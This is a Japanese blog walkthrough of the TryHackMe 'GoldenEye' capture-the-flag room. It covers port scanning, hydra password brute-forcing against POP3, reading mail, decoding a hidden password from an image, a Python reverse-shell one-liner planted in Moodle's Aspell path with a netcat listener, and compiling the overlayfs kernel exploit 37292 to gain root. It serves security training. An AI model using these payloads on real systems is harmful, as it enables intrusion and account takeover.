TryHackMe(THM):GoldenEye

この記事は、DeepL翻訳を利用して和訳しています。

www.deepl.com

Task 1  Intro & Enumeration

この部屋では、ジェームズ・ボンドのスタイルのボックスをハックしてルートを確保するというガイド付きのチャレンジが行われます。

First things first, connect to our network and deploy the machine.

Kali Linuxを起ち上げて VPN接続します。

Use nmap to scan the network for all ports. How many ports are open?

Take a look on the website, take a dive into the source code too and remember to inspect all scripts!

まずnmapを実行します。ヒントにオプションとして「-p-」が書かれているのでいつものコマンドに追加します。

# nmap -sV -sC -p- <$IP>

 

25番ポート(SMTP)、80番ポート(HTTP)、55006番ポート(SSH)、55007番ポート(POP3)の4ポートが解放されてます。

f:id:akebono-haze:20210605135309p:plain

80番ポートが解放されているのでブラウザでアクセスしてみます。 画面に文字が流れます。ユーザ名やリンクが表示されました。

f:id:akebono-haze:20210605135624p:plain

リンク先にアクセスするとログイン情報が表示されますが、ユーザ名とパスワードがわからないので先に進めません。

f:id:akebono-haze:20210605135903p:plain

 

Who needs to make sure they update their default password?

トップページのソースを表示させます。

f:id:akebono-haze:20210605140108p:plain

Javascriptのファイル名があるのでアクセスするとソースが表示されました。

コメント行を見れば答えがおのずとわかります。

f:id:akebono-haze:20210605140251p:plain

 

Whats their password?

パスワードをエンコードしました。とコメントにあるので

&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;

エンコードされた文字列です。

「アンパサンドハッシュエンコーディング」をGoogleで検索すると、デコードできるサイトが見つかりました。

https://rakko.tools/tools/21/

rakko.tools

f:id:akebono-haze:20210605141347p:plain

 

Now go use those credentials and login to a part of the site.

入手したユーザ名とパスワードで再度「http://<$IP>/sev-home/」にアクセスしてみます。 今度はログインできました。

f:id:akebono-haze:20210605141434p:plain

サイト上にはヒントが見つからなかったので、ソースを表示させてみます。 パッと見、22行で終わっているように見えますが、スクロールバーが表示されているので下へ移動してみます。

f:id:akebono-haze:20210605141624p:plain

情報がありました。文章の後半に意訳で「pop3がデフォルトではない大きい番号で実行されていることを覚えていてください。」が、ヒントかもしれません。 また、supervisorに2つの名前が書かれています。

f:id:akebono-haze:20210605141707p:plain

Task 2  Its mail time...

Take a look at some of the other services you found using your nmap scan. Are the credentials you have re-usable?

If those creds don't seem to work, can you use another program to find other users and passwords? Maybe Hydra?Whats their new password?

設問にあるようにユーザ名を「boris」で固定して「hydra」を使って解析してみます。

f:id:akebono-haze:20210605142911p:plain

解析できました。もう1人のユーザ名でもパスワードを解析できるか試してみます。

f:id:akebono-haze:20210605142948p:plain

こちらも解析できました。

 

Inspect port 55007, what services is configured to use this port?

nmap -p-の結果を見ても解答に使う6文字のサービスらしきものが見つからない...

先人の知恵を拝借すると、答えを書いてしまいますが「telnet」とは...

最近の「Kali Linux」にはインストールされていないんですね。

インストールするか、Pythonがインストールされているのであれば、下記コマンドで代用できそうです。

$ python -m telnetlib <$IP> <ポート番号>

 

Login using that service and the credentials you found earlier.

 

What can you find on this service?

telnetコマンドはインストールしていないのでpythonでログインします。

$ python -m telnetlib <$IP> <ポート番号>

 

pop3ポートにログインしたのでemailサービスが動作しています。

 

What user can break Boris' codes?

メールの一覧を表示させます

telnetコマンドはインストールしていないのでpythonでログインします。

LIST

 RETRコマンドでメールを受信します。

RETR <メッセージ番号>

 RETR メッセージ番号 ・・・ 指定した番号のメールを受信する。

わかっているユーザは「boris」と「natalya」です。設問で「Boris'のコードを破ったのは誰?」なので、解答を書いてしまいますが「natalya」です。 natalyaでログインして、メールを確認してみます。

f:id:akebono-haze:20210605145554p:plain

 

 Using the users you found on this service, find other users passwords

 Keep enumerating users using this service and keep attempting to obtain their passwords via dictionary attacks.

boris」と「natalya」のメールを見ていくと、「natalya」のメールの中に2人以外の他のユーザーとパスワードが見つかりました。

f:id:akebono-haze:20210605151030p:plain

 

Task 3  GoldenEye Operators Training

「natalya」のメールの中に「severnaya-station.com」というウェブサイトが書かれていました。これを動作させるには、DNSレコードを登録しておく必要があります。Linuxの場合は「/etc/hosts」ファイル、Windowsの場合は「c:\Windows\System32\Drivers\etc\hosts」に以下の内容を登録します。

 <machines ip> severnaya-station.com

f:id:akebono-haze:20210605224909p:plain

Once you have done that, in your browser navigate to: http://severnaya-station.com/gnocertdir

Try using the credentials you found earlier. Which user can you login as?

登録後、ブラウザで「http://severnaya-station.com/gnocertdir」にアクセスします。

f:id:akebono-haze:20210605230900p:plain



「Intro to GoldenEye」と書かれたリンクをクリックするとログイン画面が表示されます。

f:id:akebono-haze:20210605231044p:plain

「natalya」のメールの中で見つけた認証情報でログインできました。

f:id:akebono-haze:20210605231114p:plain

 

Have a poke around the site. What other user can you find?

サイト内をいろいろ見回してみると、左側のNavigationにある「メッセージ」をクリックします。

f:id:akebono-haze:20210605233905p:plain

他のユーザがいることがわかる文面を見つけました。

f:id:akebono-haze:20210605233923p:plain

 

What was this users password?

見つけたユーザのパスワードを調査するためにhydoraを実行します。

パスワードを解析することができました。

f:id:akebono-haze:20210605234002p:plain

 

Use this users credentials to go through all the services you have found to reveal more emails.

What is the next user you can find from doak?

 What is this users password?

 

今回も「boris」の時と同じようにpop3で接続してみます。

1件のメールを受信していましたので中身を確認します。

f:id:akebono-haze:20210606145610p:plain

このメール内にユーザ名とパスワードが書かれていました。

 

Take a look at their files on the moodle (severnaya-station.com)

 Download the attachments and see if there are any hidden messages inside them?

Using the information you found in the last task, login with the newly found user.

新たに見つけたユーザ名とパスワードを使ってmoodlehttp://severnaya-station.com/gnocertdir)サイトにアクセスします。

左側にあるNavigationにある「My home」をクリックします。

すると、右側に「My Private files」が表示されます。

「for james」をクリックすると、「s3cret.txt」が表示されるのでこのファイルをダウンロードします。

f:id:akebono-haze:20210606151726p:plain

ダウンロードしたs3cret.txtファイルを確認すると、URLが書かれています。

f:id:akebono-haze:20210606152652p:plain

このURL(http://severnaya-station.com/dir007key/for-007.jpg)にアクセスすると画像ファイルが表示されました。

f:id:akebono-haze:20210606153017p:plain

このファイルをダウンロードします。

fileコマンドでファイルの情報を確認します。

特におかしな情報はなさそうです。

次にstringコマンドを実行してバイナリデータを確認します。

エンコードされた文字列が見つかりました。

eFdpbnRlcjE5OTV4IQ==

f:id:akebono-haze:20210606153116p:plain

CyberChefでデコードします。

gchq.github.io

f:id:akebono-haze:20210606154046p:plain

デコードできました。

 

As this user has more site privileges, you are able to edit the moodles settings. From here get a reverse shell using python and netcat.

 Take a look into Aspell, the spell checker plugin.

ここから、pythonとnetcatを使ってリバースシェルを取得します。

ローカルPC上でターミナルを起動してnetcatコマンドを実行します。

$ nc -lvnp 4444

 f:id:akebono-haze:20210606155043p:plain

 次にブラウザでhttp://severnaya-station.com/gnocertdirにユーザ名:adminとjpegファイルから解析したパスワードでログインします。

このユーザーは、より多くのサイト権限を持っているので、moodlesの設定を編集することができます。

検索boxに「PSpellShell」を入力して実行します。

表示された画面の「Spell engine」を「PSpellShell」に変更して[Save changes]ボタンを押下します。

f:id:akebono-haze:20210606154218p:plain

検索boxに「aspell」を入力して実行します。

pythonとreverseシェルの組み合わせなので以下のコマンドを入力して[Save changes]ボタンを押下します。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<$IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

実際に書くときは全角の括弧は半角の括弧に書き直してください

f:id:akebono-haze:20210606154510p:plain

[Home]-[My profile]-[Blog]-[Add a new entry]を選択し、「Entry title」と「Blog entry body」を入力して「Toggle spellchecker」ボタンを押下します。

f:id:akebono-haze:20210606155137p:plain

ボタン押下後、ターミナルを見ると接続されているのが確認できます。

f:id:akebono-haze:20210606155204p:plain

 

 

Task 4  Privilege Escalation

Enumerate the machine manually.

Whats the kernel version?

先ほど接続確認できたターミナル画面で以下のコマンドを実行します。

$ uname -a

f:id:akebono-haze:20210606161057p:plain

 

You can download the exploit from here: https://www.exploit-db.com/exploits/37292

設問内の説明に「overlayfsの脆弱性」とあるので、ローカルPC内で新しいターミナルを起動してsearchコマンドを実行します。

表示された一覧にあるなかで、ヒントに「37292」とあるのでそのソースの場所を確認します。

新しいターミナルを起動しますが、起動する前のディレクトリに「37292.c」ファイルをコピーしておきます。

f:id:akebono-haze:20210606161636p:plain

コピー後、ローカルPC上でhttpを起動します。

f:id:akebono-haze:20210606161740p:plain

このソースをリモートに接続しているターミナルでwgetコマンドを実行します。

f:id:akebono-haze:20210606161801p:plain

 

What development tools are installed on the machine?

マシンにインストールされている開発ツールは?

ダウンロードした「37292.c」ファイルをコンパイルします。

gcc 37292.c -o exploit

文字列を置換します。

sed -i "s/gcc/cc/g" 37292.c

オプション

-i --in-place ・・・ファイルを直接編集する

再度コンパイルします。

cc 37292.c -o exploit

コンパイル結果を実行します。

f:id:akebono-haze:20210606162608p:plain

root権限を取得できました。

What is the root flag?

rootディレクトリに移動してファイル一覧を取得します。

.flag.txtが見つかったので中身を確認します。

f:id:akebono-haze:20210606162656p:plain


フラグ以外にディレクトリが書かれているのでブラウザでアクセスしてみます。これはおまけかな?

f:id:akebono-haze:20210606162717p:plain

完了!